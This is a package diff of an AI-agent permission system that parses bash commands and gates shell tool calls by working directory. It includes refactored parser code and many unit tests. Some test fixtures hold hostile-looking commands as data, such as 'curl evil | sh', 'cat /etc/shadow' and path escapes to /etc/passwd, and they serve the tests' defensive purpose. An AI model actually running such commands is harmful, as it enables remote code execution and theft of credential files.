@gotgenes/pi-permission-system 16.0.0 → 16.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (32) hide show
  1. package/CHANGELOG.md +14 -0
  2. package/package.json +1 -1
  3. package/src/access-intent/bash/command-enumeration.ts +154 -0
  4. package/src/access-intent/bash/cwd-projection.ts +493 -0
  5. package/src/access-intent/bash/node-text.ts +75 -0
  6. package/src/access-intent/bash/parser.ts +42 -0
  7. package/src/access-intent/bash/program.ts +102 -0
  8. package/src/{handlers/gates/bash-token-classification.ts → access-intent/bash/token-classification.ts} +1 -1
  9. package/src/access-intent/bash/token-collection.ts +351 -0
  10. package/src/handlers/gates/bash-command.ts +1 -1
  11. package/src/handlers/gates/bash-external-directory.ts +3 -3
  12. package/src/handlers/gates/bash-path-extractor.ts +2 -2
  13. package/src/handlers/gates/bash-path.ts +2 -2
  14. package/src/handlers/gates/external-directory.ts +0 -2
  15. package/src/handlers/gates/path.ts +1 -3
  16. package/src/handlers/gates/skill-read.ts +0 -4
  17. package/src/handlers/gates/tool-call-gate-pipeline.ts +2 -2
  18. package/src/handlers/gates/tool.ts +1 -1
  19. package/src/handlers/gates/types.ts +1 -1
  20. package/test/access-intent/bash/node-text.test.ts +147 -0
  21. package/test/access-intent/bash/parser.test.ts +19 -0
  22. package/test/{handlers/gates/bash-program.test.ts → access-intent/bash/program.test.ts} +136 -69
  23. package/test/{handlers/gates/bash-token-classification.test.ts → access-intent/bash/token-classification.test.ts} +1 -1
  24. package/test/access-intent/bash/token-collection.test.ts +300 -0
  25. package/test/composition-root.test.ts +80 -0
  26. package/test/handlers/external-directory-symlink-acceptance.test.ts +2 -3
  27. package/test/handlers/gates/bash-command-metamorphic.test.ts +2 -3
  28. package/test/handlers/gates/bash-external-directory.test.ts +2 -10
  29. package/test/handlers/gates/bash-path.test.ts +2 -2
  30. package/test/handlers/gates/external-directory.test.ts +0 -5
  31. package/test/handlers/gates/tool-call-gate-pipeline.test.ts +5 -2
  32. package/src/handlers/gates/bash-program.ts +0 -1028
@@ -1,3 +1,4 @@
1
+ import { BashProgram } from "#src/access-intent/bash/program";
1
2
  import { getNonEmptyString, toRecord } from "#src/common";
2
3
  import type { ScopedPermissionResolver } from "#src/permission-resolver";
3
4
  import type { SkillPromptEntry } from "#src/skill-prompt-sanitizer";
@@ -10,7 +11,6 @@ import {
10
11
  import { resolveBashCommandCheck } from "./bash-command";
11
12
  import { describeBashExternalDirectoryGate } from "./bash-external-directory";
12
13
  import { describeBashPathGate } from "./bash-path";
13
- import { BashProgram } from "./bash-program";
14
14
  import type { GateResult } from "./descriptor";
15
15
  import { describeExternalDirectoryGate } from "./external-directory";
16
16
  import { describePathGate } from "./path";
@@ -66,7 +66,7 @@ export class ToolCallGatePipeline {
66
66
  const command = getNonEmptyString(toRecord(tcc.input).command);
67
67
  const bashProgram =
68
68
  tcc.toolName === "bash" && command
69
- ? await BashProgram.parse(command)
69
+ ? await BashProgram.parse(command, tcc.cwd)
70
70
  : null;
71
71
 
72
72
  const formatter = new ToolPreviewFormatter(
@@ -28,7 +28,7 @@ function deriveSuggestionValue(
28
28
  if (tcc.toolName === "mcp") return check.target ?? "mcp";
29
29
  const path = getPathBearingToolPath(tcc.toolName, tcc.input);
30
30
  if (path === null) return "*";
31
- return tcc.cwd ? normalizePathForComparison(path, tcc.cwd) : path;
31
+ return normalizePathForComparison(path, tcc.cwd);
32
32
  }
33
33
 
34
34
  /**
@@ -9,5 +9,5 @@ export interface ToolCallContext {
9
9
  agentName: string | null;
10
10
  input: unknown;
11
11
  toolCallId: string;
12
- cwd: string | undefined;
12
+ cwd: string;
13
13
  }
@@ -0,0 +1,147 @@
1
+ import { describe, expect, it } from "vitest";
2
+ import {
3
+ resolveNodeText,
4
+ SKIP_SUBTREE_TYPES,
5
+ } from "#src/access-intent/bash/node-text";
6
+ import type { TSNode } from "#src/access-intent/bash/parser";
7
+
8
+ // Minimal fake TSNode builder — only fills the fields resolveNodeText reads.
9
+ function makeNode(type: string, text: string, children: TSNode[] = []): TSNode {
10
+ return {
11
+ type,
12
+ text,
13
+ childCount: children.length,
14
+ isNamed: true,
15
+ child: (i) => children[i] ?? null,
16
+ };
17
+ }
18
+
19
+ describe("SKIP_SUBTREE_TYPES", () => {
20
+ it("contains the three node types that must not be descended", () => {
21
+ expect(SKIP_SUBTREE_TYPES.has("heredoc_body")).toBe(true);
22
+ expect(SKIP_SUBTREE_TYPES.has("heredoc_end")).toBe(true);
23
+ expect(SKIP_SUBTREE_TYPES.has("comment")).toBe(true);
24
+ });
25
+
26
+ it("does not contain common argument node types", () => {
27
+ expect(SKIP_SUBTREE_TYPES.has("word")).toBe(false);
28
+ expect(SKIP_SUBTREE_TYPES.has("string")).toBe(false);
29
+ expect(SKIP_SUBTREE_TYPES.has("raw_string")).toBe(false);
30
+ });
31
+ });
32
+
33
+ describe("resolveNodeText", () => {
34
+ describe("word nodes", () => {
35
+ it("returns the node text unchanged", () => {
36
+ expect(resolveNodeText(makeNode("word", "hello"))).toBe("hello");
37
+ });
38
+ });
39
+
40
+ describe("raw_string nodes (single-quoted)", () => {
41
+ it("strips surrounding single quotes", () => {
42
+ expect(resolveNodeText(makeNode("raw_string", "'content'"))).toBe(
43
+ "content",
44
+ );
45
+ });
46
+
47
+ it("strips single quotes around a path", () => {
48
+ expect(resolveNodeText(makeNode("raw_string", "'/etc/hosts'"))).toBe(
49
+ "/etc/hosts",
50
+ );
51
+ });
52
+
53
+ it("returns text as-is when not fully single-quoted", () => {
54
+ // A raw_string node without enclosing quotes (defensive fallback)
55
+ expect(resolveNodeText(makeNode("raw_string", "noquotes"))).toBe(
56
+ "noquotes",
57
+ );
58
+ });
59
+ });
60
+
61
+ describe("string nodes (double-quoted)", () => {
62
+ it("concatenates inner word children, skipping quote delimiters", () => {
63
+ const quoteOpen = makeNode('"', '"');
64
+ const content = makeNode("string_content", "hello world");
65
+ const quoteClose = makeNode('"', '"');
66
+ const node = makeNode("string", '"hello world"', [
67
+ quoteOpen,
68
+ content,
69
+ quoteClose,
70
+ ]);
71
+ expect(resolveNodeText(node)).toBe("hello world");
72
+ });
73
+
74
+ it("concatenates multiple inner children", () => {
75
+ const quoteOpen = makeNode('"', '"');
76
+ const part1 = makeNode("string_content", "foo");
77
+ const part2 = makeNode("simple_expansion", "$BAR");
78
+ const quoteClose = makeNode('"', '"');
79
+ const node = makeNode("string", '"foo$BAR"', [
80
+ quoteOpen,
81
+ part1,
82
+ part2,
83
+ quoteClose,
84
+ ]);
85
+ expect(resolveNodeText(node)).toBe("foo$BAR");
86
+ });
87
+
88
+ it("returns empty string for an empty double-quoted string", () => {
89
+ const quoteOpen = makeNode('"', '"');
90
+ const quoteClose = makeNode('"', '"');
91
+ const node = makeNode("string", '""', [quoteOpen, quoteClose]);
92
+ expect(resolveNodeText(node)).toBe("");
93
+ });
94
+ });
95
+
96
+ describe("string_content, simple_expansion, and expansion nodes", () => {
97
+ it("returns text as-is for string_content", () => {
98
+ expect(resolveNodeText(makeNode("string_content", "plain text"))).toBe(
99
+ "plain text",
100
+ );
101
+ });
102
+
103
+ it("returns text as-is for simple_expansion (e.g. $HOME)", () => {
104
+ // retro 0350: $HOME returns the literal text of a simple_expansion node
105
+ expect(resolveNodeText(makeNode("simple_expansion", "$HOME"))).toBe(
106
+ "$HOME",
107
+ );
108
+ });
109
+
110
+ it("returns text as-is for expansion", () => {
111
+ // biome-ignore lint/suspicious/noTemplateCurlyInString: intentional literal — testing that expansion node text is returned verbatim
112
+ expect(resolveNodeText(makeNode("expansion", "${VAR}"))).toBe("${VAR}");
113
+ });
114
+ });
115
+
116
+ describe("concatenation nodes", () => {
117
+ it("concatenates resolved children", () => {
118
+ const word = makeNode("word", "/etc/");
119
+ const expansion = makeNode("simple_expansion", "$FILE");
120
+ const node = makeNode("concatenation", "/etc/$FILE", [word, expansion]);
121
+ expect(resolveNodeText(node)).toBe("/etc/$FILE");
122
+ });
123
+
124
+ it("handles nested concatenation-of-string", () => {
125
+ // A concatenation whose child is a double-quoted string
126
+ const quoteOpen = makeNode('"', '"');
127
+ const content = makeNode("string_content", "bar");
128
+ const quoteClose = makeNode('"', '"');
129
+ const inner = makeNode("string", '"bar"', [
130
+ quoteOpen,
131
+ content,
132
+ quoteClose,
133
+ ]);
134
+ const prefix = makeNode("word", "foo");
135
+ const node = makeNode("concatenation", 'foo"bar"', [prefix, inner]);
136
+ expect(resolveNodeText(node)).toBe("foobar");
137
+ });
138
+ });
139
+
140
+ describe("default fallback", () => {
141
+ it("returns the raw text for unknown node types", () => {
142
+ expect(resolveNodeText(makeNode("unknown_type", "rawtext"))).toBe(
143
+ "rawtext",
144
+ );
145
+ });
146
+ });
147
+ });
@@ -0,0 +1,19 @@
1
+ import { describe, expect, it } from "vitest";
2
+ import { getParser } from "#src/access-intent/bash/parser";
3
+
4
+ describe("getParser", () => {
5
+ it("parses a simple bash command and returns a non-null root node", async () => {
6
+ const parser = await getParser();
7
+ const tree = parser.parse("echo hi");
8
+ expect(tree).not.toBeNull();
9
+ expect(tree?.rootNode).toBeDefined();
10
+ expect(tree?.rootNode.type).toBe("program");
11
+ tree?.delete();
12
+ });
13
+
14
+ it("returns the same memoized parser instance on repeated calls", async () => {
15
+ const first = await getParser();
16
+ const second = await getParser();
17
+ expect(first).toBe(second);
18
+ });
19
+ });
@@ -10,15 +10,15 @@ vi.mock("node:fs", () => ({
10
10
  default: { realpathSync },
11
11
  }));
12
12
 
13
- import { BashProgram } from "#src/handlers/gates/bash-program";
13
+ import { BashProgram } from "#src/access-intent/bash/program";
14
14
 
15
15
  describe("BashProgram", () => {
16
16
  describe("pathRuleCandidates", () => {
17
17
  const cwd = "/projects/my-app";
18
18
 
19
19
  it("adds absolute and relative policy values for relative tokens", async () => {
20
- const program = await BashProgram.parse("cat src/foo.ts");
21
- expect(program.pathRuleCandidates(cwd)).toEqual([
20
+ const program = await BashProgram.parse("cat src/foo.ts", cwd);
21
+ expect(program.pathRuleCandidates()).toEqual([
22
22
  {
23
23
  token: "src/foo.ts",
24
24
  policyValues: ["/projects/my-app/src/foo.ts", "src/foo.ts"],
@@ -26,17 +26,13 @@ describe("BashProgram", () => {
26
26
  ]);
27
27
  });
28
28
 
29
- it("returns the literal token only when no cwd is provided", async () => {
30
- const program = await BashProgram.parse("cat src/foo.ts");
31
- expect(program.pathRuleCandidates()).toEqual([
32
- { token: "src/foo.ts", policyValues: ["src/foo.ts"] },
33
- ]);
34
- });
35
-
36
29
  it("resolves tokens after literal cd against the effective directory", async () => {
37
- const program = await BashProgram.parse("cd nested && cat src/file.txt");
30
+ const program = await BashProgram.parse(
31
+ "cd nested && cat src/file.txt",
32
+ cwd,
33
+ );
38
34
  const fileCandidate = program
39
- .pathRuleCandidates(cwd)
35
+ .pathRuleCandidates()
40
36
  .find((candidate) => candidate.token === "src/file.txt");
41
37
  expect(fileCandidate).toEqual({
42
38
  token: "src/file.txt",
@@ -49,9 +45,12 @@ describe("BashProgram", () => {
49
45
  });
50
46
 
51
47
  it("does not absolute-allow relative tokens after unknown cd", async () => {
52
- const program = await BashProgram.parse('cd "$DIR" && cat src/foo.ts');
48
+ const program = await BashProgram.parse(
49
+ 'cd "$DIR" && cat src/foo.ts',
50
+ cwd,
51
+ );
53
52
  const fileCandidate = program
54
- .pathRuleCandidates(cwd)
53
+ .pathRuleCandidates()
55
54
  .find((candidate) => candidate.token === "src/foo.ts");
56
55
  expect(fileCandidate).toEqual({
57
56
  token: "src/foo.ts",
@@ -69,21 +68,24 @@ describe("BashProgram", () => {
69
68
  });
70
69
 
71
70
  it("returns absolute paths resolving outside cwd", async () => {
72
- const program = await BashProgram.parse("cat /etc/hosts");
71
+ const program = await BashProgram.parse("cat /etc/hosts", cwd);
73
72
  // Subset matcher: the path is normalized before comparison.
74
- expect(program.externalPaths(cwd)).toContain("/etc/hosts");
73
+ expect(program.externalPaths()).toContain("/etc/hosts");
75
74
  });
76
75
 
77
76
  it("excludes paths within cwd", async () => {
78
- const program = await BashProgram.parse("cat src/index.ts");
79
- expect(program.externalPaths(cwd)).toHaveLength(0);
77
+ const program = await BashProgram.parse("cat src/index.ts", cwd);
78
+ expect(program.externalPaths()).toHaveLength(0);
80
79
  });
81
80
 
82
81
  describe("effective working directory projection", () => {
83
82
  it("folds a sequence of current-shell cd commands", async () => {
84
83
  // cd a → cwd/a, cd b → cwd/a/b; ../c resolves to cwd/a/c (inside).
85
- const program = await BashProgram.parse("cd a && cd b && cat ../c");
86
- expect(program.externalPaths(cwd)).toHaveLength(0);
84
+ const program = await BashProgram.parse(
85
+ "cd a && cd b && cat ../c",
86
+ cwd,
87
+ );
88
+ expect(program.externalPaths()).toHaveLength(0);
87
89
  });
88
90
 
89
91
  it("catches an escape masked by a later cd that the single-base model missed", async () => {
@@ -91,66 +93,73 @@ describe("BashProgram", () => {
91
93
  // ../../etc/passwd escapes to /projects/etc/passwd.
92
94
  const program = await BashProgram.parse(
93
95
  "cd nested/deep && cd .. && cat ../../etc/passwd",
96
+ cwd,
94
97
  );
95
- expect(program.externalPaths(cwd)).toContain("/projects/etc/passwd");
98
+ expect(program.externalPaths()).toContain("/projects/etc/passwd");
96
99
  });
97
100
 
98
101
  it("folds a cd that is not the first command", async () => {
99
102
  // The single-base model ignored a cd that was not first; now `cd a`
100
103
  // folds, so ../b resolves to cwd/b (inside) and is not flagged.
101
- const program = await BashProgram.parse("mkdir d && cd a && cat ../b");
102
- expect(program.externalPaths(cwd)).toHaveLength(0);
104
+ const program = await BashProgram.parse(
105
+ "mkdir d && cd a && cat ../b",
106
+ cwd,
107
+ );
108
+ expect(program.externalPaths()).toHaveLength(0);
103
109
  });
104
110
 
105
111
  it("does not fold a backgrounded cd", async () => {
106
112
  // `cd a &` runs in a subshell, so it must not update the running
107
113
  // directory; ../b resolves against cwd and escapes.
108
- const program = await BashProgram.parse("cd a & cat ../b");
109
- expect(program.externalPaths(cwd)).toContain("/projects/b");
114
+ const program = await BashProgram.parse("cd a & cat ../b", cwd);
115
+ expect(program.externalPaths()).toContain("/projects/b");
110
116
  });
111
117
 
112
118
  it("does not fold a cd inside a pipeline", async () => {
113
119
  // Pipeline members run in subshells; the cd must not leak.
114
- const program = await BashProgram.parse("cd nested | cat ../b");
115
- expect(program.externalPaths(cwd)).toContain("/projects/b");
120
+ const program = await BashProgram.parse("cd nested | cat ../b", cwd);
121
+ expect(program.externalPaths()).toContain("/projects/b");
116
122
  });
117
123
 
118
124
  it("folds a cd inside a subshell for paths within that subshell", async () => {
119
125
  // Inside the subshell the effective dir is cwd/sub, so ../x → cwd/x.
120
- const program = await BashProgram.parse("( cd sub && cat ../x )");
121
- expect(program.externalPaths(cwd)).toHaveLength(0);
126
+ const program = await BashProgram.parse("( cd sub && cat ../x )", cwd);
127
+ expect(program.externalPaths()).toHaveLength(0);
122
128
  });
123
129
 
124
130
  it("does not leak a subshell cd to following commands", async () => {
125
131
  // The subshell cd resets on exit, so ../y resolves against cwd.
126
- const program = await BashProgram.parse("( cd sub ) && cat ../y");
127
- expect(program.externalPaths(cwd)).toContain("/projects/y");
132
+ const program = await BashProgram.parse("( cd sub ) && cat ../y", cwd);
133
+ expect(program.externalPaths()).toContain("/projects/y");
128
134
  });
129
135
 
130
136
  it("persists a cd inside a brace group to later commands in the group", async () => {
131
137
  // Brace groups run in the current shell, so cd sub persists to cat ../x.
132
- const program = await BashProgram.parse("{ cd sub; cat ../x; }");
133
- expect(program.externalPaths(cwd)).toHaveLength(0);
138
+ const program = await BashProgram.parse("{ cd sub; cat ../x; }", cwd);
139
+ expect(program.externalPaths()).toHaveLength(0);
134
140
  });
135
141
 
136
142
  it("persists a brace-group cd to following sibling commands", async () => {
137
- const program = await BashProgram.parse("{ cd sub; } && cat ../x");
138
- expect(program.externalPaths(cwd)).toHaveLength(0);
143
+ const program = await BashProgram.parse("{ cd sub; } && cat ../x", cwd);
144
+ expect(program.externalPaths()).toHaveLength(0);
139
145
  });
140
146
 
141
147
  it("conservatively flags a relative path inside a command substitution", async () => {
142
148
  // Interior cd folding inside substitutions is deferred: the interior
143
149
  // inherits the enclosing base (cwd), so ../r is flagged rather than
144
150
  // resolved against cwd/q. Conservative — never misses an escape.
145
- const program = await BashProgram.parse("echo $(cd q && cat ../r)");
146
- expect(program.externalPaths(cwd)).toContain("/projects/r");
151
+ const program = await BashProgram.parse(
152
+ "echo $(cd q && cat ../r)",
153
+ cwd,
154
+ );
155
+ expect(program.externalPaths()).toContain("/projects/r");
147
156
  });
148
157
 
149
158
  it("flags relative paths conservatively after a non-literal cd", async () => {
150
159
  // cd "$DIR" makes the effective dir unknowable; ../x could be anywhere,
151
160
  // so it is flagged (least-privilege).
152
- const program = await BashProgram.parse('cd "$DIR" && cat ../x');
153
- expect(program.externalPaths(cwd)).toContain("/projects/x");
161
+ const program = await BashProgram.parse('cd "$DIR" && cat ../x', cwd);
162
+ expect(program.externalPaths()).toContain("/projects/x");
154
163
  });
155
164
 
156
165
  it("flags even a within-cwd relative path after a non-literal cd", async () => {
@@ -158,8 +167,9 @@ describe("BashProgram", () => {
158
167
  // flagged because the effective dir is unknown.
159
168
  const program = await BashProgram.parse(
160
169
  'cd "$DIR" && cat src/../within.txt',
170
+ cwd,
161
171
  );
162
- expect(program.externalPaths(cwd)).toContain(
172
+ expect(program.externalPaths()).toContain(
163
173
  "/projects/my-app/within.txt",
164
174
  );
165
175
  });
@@ -169,13 +179,14 @@ describe("BashProgram", () => {
169
179
  // even when the effective dir is unknown.
170
180
  const program = await BashProgram.parse(
171
181
  'cd "$DIR" && cat /projects/my-app/x.txt',
182
+ cwd,
172
183
  );
173
- expect(program.externalPaths(cwd)).toHaveLength(0);
184
+ expect(program.externalPaths()).toHaveLength(0);
174
185
  });
175
186
 
176
187
  it("treats `cd -` as an unknown effective directory", async () => {
177
- const program = await BashProgram.parse("cd - && cat ../x");
178
- expect(program.externalPaths(cwd)).toContain("/projects/x");
188
+ const program = await BashProgram.parse("cd - && cat ../x", cwd);
189
+ expect(program.externalPaths()).toContain("/projects/x");
179
190
  });
180
191
 
181
192
  it("recovers a known base when a later cd is absolute", async () => {
@@ -183,8 +194,57 @@ describe("BashProgram", () => {
183
194
  // ../x resolves to cwd and is not flagged.
184
195
  const program = await BashProgram.parse(
185
196
  'cd "$DIR" && cd /projects/my-app/src && cat ../x',
197
+ cwd,
198
+ );
199
+ expect(program.externalPaths()).toHaveLength(0);
200
+ });
201
+
202
+ it("folds a leading current-shell cd across a redirect-then-pipe", async () => {
203
+ // tree-sitter-bash groups `cd a && pnpm x 2>&1 | tail` as
204
+ // `(cd a && pnpm x 2>&1) | tail`, burying the current-shell `cd a`
205
+ // inside a `pipeline` node. Bash precedence (`|` binds tighter than
206
+ // `&&`) makes `cd a` current-shell, so the fold must persist past the
207
+ // pipeline: ../b resolves against cwd/a (inside), not cwd (#454).
208
+ const program = await BashProgram.parse(
209
+ "cd a && pnpm x 2>&1 | tail ; cat ../b",
210
+ cwd,
211
+ );
212
+ expect(program.externalPaths()).toHaveLength(0);
213
+ });
214
+
215
+ it("persists the fold past a redirect-then-pipe to a later cd", async () => {
216
+ // The issue reproduction: the fold from `cd a/b` survives the
217
+ // redirect-then-pipe, so the trailing `cd .. && cd ..` lands back at
218
+ // cwd instead of escaping one level above.
219
+ const program = await BashProgram.parse(
220
+ "cd a/b && pnpm x 2>&1 | tail ; cd .. && cd ..",
221
+ cwd,
222
+ );
223
+ expect(program.externalPaths()).toHaveLength(0);
224
+ });
225
+
226
+ it("does not fold the terminal piped command of the first stage", async () => {
227
+ // Fail-closed: `cd b` is the terminal command of the first stage, i.e.
228
+ // the real pipe stage (a subshell), so it must NOT fold. With the
229
+ // correct base cwd/a, ../../x escapes to /projects/x. If `cd b` were
230
+ // wrongly folded, the base would be cwd/a/b and ../../x would stay
231
+ // inside — a fail-open regression this test pins.
232
+ const program = await BashProgram.parse(
233
+ "cd a && cd b 2>&1 | tail ; cat ../../x",
234
+ cwd,
186
235
  );
187
- expect(program.externalPaths(cwd)).toHaveLength(0);
236
+ expect(program.externalPaths()).toContain("/projects/x");
237
+ });
238
+
239
+ it("resolves a downstream pipe stage against the folded base", async () => {
240
+ // The stage after the `|` runs in a subshell that inherits the folded
241
+ // cwd/a, so ../foo resolves inside cwd rather than escaping against the
242
+ // pre-cd base.
243
+ const program = await BashProgram.parse(
244
+ "cd a && pnpm x 2>&1 | cat ../foo",
245
+ cwd,
246
+ );
247
+ expect(program.externalPaths()).toHaveLength(0);
188
248
  });
189
249
  });
190
250
 
@@ -200,8 +260,9 @@ describe("BashProgram", () => {
200
260
  });
201
261
  const program = await BashProgram.parse(
202
262
  "cat /projects/my-app/link/hosts",
263
+ cwd,
203
264
  );
204
- const external = program.externalPaths(cwd);
265
+ const external = program.externalPaths();
205
266
  expect(external).toContain("/projects/my-app/link/hosts");
206
267
  expect(external).not.toContain("/etc/hosts");
207
268
  });
@@ -214,19 +275,24 @@ describe("BashProgram", () => {
214
275
  if (p.startsWith("/tmp/")) return "/private/tmp" + p.slice(4);
215
276
  return p;
216
277
  });
217
- const program = await BashProgram.parse("cat /tmp/workspace/file.ts");
218
- expect(program.externalPaths(symlinkCwd)).toHaveLength(0);
278
+ const program = await BashProgram.parse(
279
+ "cat /tmp/workspace/file.ts",
280
+ symlinkCwd,
281
+ );
282
+ expect(program.externalPaths()).toHaveLength(0);
219
283
  });
220
284
  });
221
285
 
222
286
  describe("commands", () => {
287
+ const cwd = "/projects/my-app";
288
+
223
289
  it("returns a single-element list for a lone command", async () => {
224
- const program = await BashProgram.parse("npm install pkg");
290
+ const program = await BashProgram.parse("npm install pkg", cwd);
225
291
  expect(program.commands()).toEqual([{ text: "npm install pkg" }]);
226
292
  });
227
293
 
228
294
  it("splits an && chain", async () => {
229
- const program = await BashProgram.parse("cd /p && npm i x");
295
+ const program = await BashProgram.parse("cd /p && npm i x", cwd);
230
296
  expect(program.commands()).toEqual([
231
297
  { text: "cd /p" },
232
298
  { text: "npm i x" },
@@ -234,22 +300,22 @@ describe("BashProgram", () => {
234
300
  });
235
301
 
236
302
  it("splits || , ; and & separators", async () => {
237
- expect((await BashProgram.parse("a || b")).commands()).toEqual([
303
+ expect((await BashProgram.parse("a || b", cwd)).commands()).toEqual([
238
304
  { text: "a" },
239
305
  { text: "b" },
240
306
  ]);
241
- expect((await BashProgram.parse("a ; b")).commands()).toEqual([
307
+ expect((await BashProgram.parse("a ; b", cwd)).commands()).toEqual([
242
308
  { text: "a" },
243
309
  { text: "b" },
244
310
  ]);
245
- expect((await BashProgram.parse("a & b")).commands()).toEqual([
311
+ expect((await BashProgram.parse("a & b", cwd)).commands()).toEqual([
246
312
  { text: "a" },
247
313
  { text: "b" },
248
314
  ]);
249
315
  });
250
316
 
251
317
  it("splits a pipeline into its commands", async () => {
252
- const program = await BashProgram.parse("cat f | grep b");
318
+ const program = await BashProgram.parse("cat f | grep b", cwd);
253
319
  expect(program.commands()).toEqual([
254
320
  { text: "cat f" },
255
321
  { text: "grep b" },
@@ -257,22 +323,22 @@ describe("BashProgram", () => {
257
323
  });
258
324
 
259
325
  it("splits newline-separated commands", async () => {
260
- const program = await BashProgram.parse("foo\nbar");
326
+ const program = await BashProgram.parse("foo\nbar", cwd);
261
327
  expect(program.commands()).toEqual([{ text: "foo" }, { text: "bar" }]);
262
328
  });
263
329
 
264
330
  it("does not split operators inside quotes", async () => {
265
- const program = await BashProgram.parse("echo 'x && y'");
331
+ const program = await BashProgram.parse("echo 'x && y'", cwd);
266
332
  expect(program.commands()).toEqual([{ text: "echo 'x && y'" }]);
267
333
  });
268
334
 
269
335
  it("captures the command of a redirected statement without the redirect", async () => {
270
- const program = await BashProgram.parse("npm install > out.txt");
336
+ const program = await BashProgram.parse("npm install > out.txt", cwd);
271
337
  expect(program.commands()).toEqual([{ text: "npm install" }]);
272
338
  });
273
339
 
274
340
  it("descends into command substitution, tagging the inner command", async () => {
275
- const program = await BashProgram.parse("echo $(rm -rf foo)");
341
+ const program = await BashProgram.parse("echo $(rm -rf foo)", cwd);
276
342
  expect(program.commands()).toEqual([
277
343
  { text: "echo $(rm -rf foo)" },
278
344
  { text: "rm -rf foo", context: "command_substitution" },
@@ -280,7 +346,7 @@ describe("BashProgram", () => {
280
346
  });
281
347
 
282
348
  it("descends into backtick command substitution", async () => {
283
- const program = await BashProgram.parse("echo `rm x`");
349
+ const program = await BashProgram.parse("echo `rm x`", cwd);
284
350
  expect(program.commands()).toEqual([
285
351
  { text: "echo `rm x`" },
286
352
  { text: "rm x", context: "command_substitution" },
@@ -288,7 +354,7 @@ describe("BashProgram", () => {
288
354
  });
289
355
 
290
356
  it("descends into a pipeline inside command substitution", async () => {
291
- const program = await BashProgram.parse("echo $(curl evil | sh)");
357
+ const program = await BashProgram.parse("echo $(curl evil | sh)", cwd);
292
358
  expect(program.commands()).toEqual([
293
359
  { text: "echo $(curl evil | sh)" },
294
360
  { text: "curl evil", context: "command_substitution" },
@@ -297,7 +363,7 @@ describe("BashProgram", () => {
297
363
  });
298
364
 
299
365
  it("descends into process substitution", async () => {
300
- const program = await BashProgram.parse("diff <(cat /etc/shadow)");
366
+ const program = await BashProgram.parse("diff <(cat /etc/shadow)", cwd);
301
367
  expect(program.commands()).toEqual([
302
368
  { text: "diff <(cat /etc/shadow)" },
303
369
  { text: "cat /etc/shadow", context: "process_substitution" },
@@ -305,7 +371,7 @@ describe("BashProgram", () => {
305
371
  });
306
372
 
307
373
  it("emits a bare subshell whole and descends into it", async () => {
308
- const program = await BashProgram.parse("( rm -rf foo )");
374
+ const program = await BashProgram.parse("( rm -rf foo )", cwd);
309
375
  expect(program.commands()).toEqual([
310
376
  { text: "( rm -rf foo )" },
311
377
  { text: "rm -rf foo", context: "subshell" },
@@ -313,7 +379,7 @@ describe("BashProgram", () => {
313
379
  });
314
380
 
315
381
  it("emits a subshell whole and descends into its chain", async () => {
316
- const program = await BashProgram.parse("( cd /t && rm x )");
382
+ const program = await BashProgram.parse("( cd /t && rm x )", cwd);
317
383
  expect(program.commands()).toEqual([
318
384
  { text: "( cd /t && rm x )" },
319
385
  { text: "cd /t", context: "subshell" },
@@ -322,7 +388,7 @@ describe("BashProgram", () => {
322
388
  });
323
389
 
324
390
  it("descends recursively through nested contexts", async () => {
325
- const program = await BashProgram.parse("echo $( ( rm x ) )");
391
+ const program = await BashProgram.parse("echo $( ( rm x ) )", cwd);
326
392
  expect(program.commands()).toEqual([
327
393
  { text: "echo $( ( rm x ) )" },
328
394
  { text: "( rm x )", context: "command_substitution" },
@@ -331,7 +397,7 @@ describe("BashProgram", () => {
331
397
  });
332
398
 
333
399
  it("descends into a substitution within a chained command", async () => {
334
- const program = await BashProgram.parse("cd /p && echo $(rm x)");
400
+ const program = await BashProgram.parse("cd /p && echo $(rm x)", cwd);
335
401
  expect(program.commands()).toEqual([
336
402
  { text: "cd /p" },
337
403
  { text: "echo $(rm x)" },
@@ -340,7 +406,7 @@ describe("BashProgram", () => {
340
406
  });
341
407
 
342
408
  it("keeps the never-weaker invariant: a benign inner command stays", async () => {
343
- const program = await BashProgram.parse("echo $(echo safe)");
409
+ const program = await BashProgram.parse("echo $(echo safe)", cwd);
344
410
  expect(program.commands()).toEqual([
345
411
  { text: "echo $(echo safe)" },
346
412
  { text: "echo safe", context: "command_substitution" },
@@ -348,18 +414,19 @@ describe("BashProgram", () => {
348
414
  });
349
415
 
350
416
  it("returns an empty list for an empty or whitespace command", async () => {
351
- expect((await BashProgram.parse("")).commands()).toEqual([]);
352
- expect((await BashProgram.parse(" ")).commands()).toEqual([]);
417
+ expect((await BashProgram.parse("", cwd)).commands()).toEqual([]);
418
+ expect((await BashProgram.parse(" ", cwd)).commands()).toEqual([]);
353
419
  });
354
420
  });
355
421
 
356
422
  it("derives both slices from a single parse", async () => {
357
- const program = await BashProgram.parse("cat .env /etc/hosts");
423
+ const cwd = "/projects/my-app";
424
+ const program = await BashProgram.parse("cat .env /etc/hosts", cwd);
358
425
  expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
359
426
  ".env",
360
427
  "/etc/hosts",
361
428
  ]);
362
- const external = program.externalPaths("/projects/my-app");
429
+ const external = program.externalPaths();
363
430
  expect(external).toContain("/etc/hosts");
364
431
  expect(external).not.toContain(".env");
365
432
  });